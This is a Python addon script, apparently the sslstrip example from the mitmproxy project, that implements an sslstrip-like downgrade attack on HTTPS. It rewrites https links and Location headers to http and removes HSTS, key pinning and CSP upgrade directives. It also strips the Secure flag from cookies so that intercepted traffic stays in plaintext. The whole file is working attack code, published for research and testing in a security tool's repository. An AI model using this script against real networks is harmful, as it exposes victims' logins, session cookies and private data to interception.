mitmproxy/examples/contrib/sslstrip.py

68 lines
2.6 KiB
Python

"""
This script implements an sslstrip-like attack based on mitmproxy.
https://moxie.org/software/sslstrip/
"""
import re
import urllib.parse
from mitmproxy import http
# set of SSL/TLS capable hosts
secure_hosts: set[str] = set()
def request(flow: http.HTTPFlow) -> None:
flow.request.headers.pop("If-Modified-Since", None)
flow.request.headers.pop("Cache-Control", None)
# do not force https redirection
flow.request.headers.pop("Upgrade-Insecure-Requests", None)
# proxy connections to SSL-enabled hosts
if flow.request.pretty_host in secure_hosts:
flow.request.scheme = "https"
flow.request.port = 443
# We need to update the request destination to whatever is specified in the host header:
# Having no TLS Server Name Indication from the client and just an IP address as request.host
# in transparent mode, TLS server name certificate validation would fail.
flow.request.host = flow.request.pretty_host
def response(flow: http.HTTPFlow) -> None:
assert flow.response
flow.response.headers.pop("Strict-Transport-Security", None)
flow.response.headers.pop("Public-Key-Pins", None)
# strip links in response body
flow.response.content = flow.response.content.replace(b"https://", b"http://")
# strip meta tag upgrade-insecure-requests in response body
csp_meta_tag_pattern = rb'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
flow.response.content = re.sub(
csp_meta_tag_pattern, b"", flow.response.content, flags=re.IGNORECASE
)
# strip links in 'Location' header
if flow.response.headers.get("Location", "").startswith("https://"):
location = flow.response.headers["Location"]
hostname = urllib.parse.urlparse(location).hostname
if hostname:
secure_hosts.add(hostname)
flow.response.headers["Location"] = location.replace("https://", "http://", 1)
# strip upgrade-insecure-requests in Content-Security-Policy header
csp_header = flow.response.headers.get("Content-Security-Policy", "")
if re.search("upgrade-insecure-requests", csp_header, flags=re.IGNORECASE):
csp = flow.response.headers["Content-Security-Policy"]
new_header = re.sub(
r"upgrade-insecure-requests[;\s]*", "", csp, flags=re.IGNORECASE
)
flow.response.headers["Content-Security-Policy"] = new_header
# strip secure flag from 'Set-Cookie' headers
cookies = flow.response.headers.get_all("Set-Cookie")
cookies = [re.sub(r";\s*secure\s*", "", s) for s in cookies]
flow.response.headers.set_all("Set-Cookie", cookies)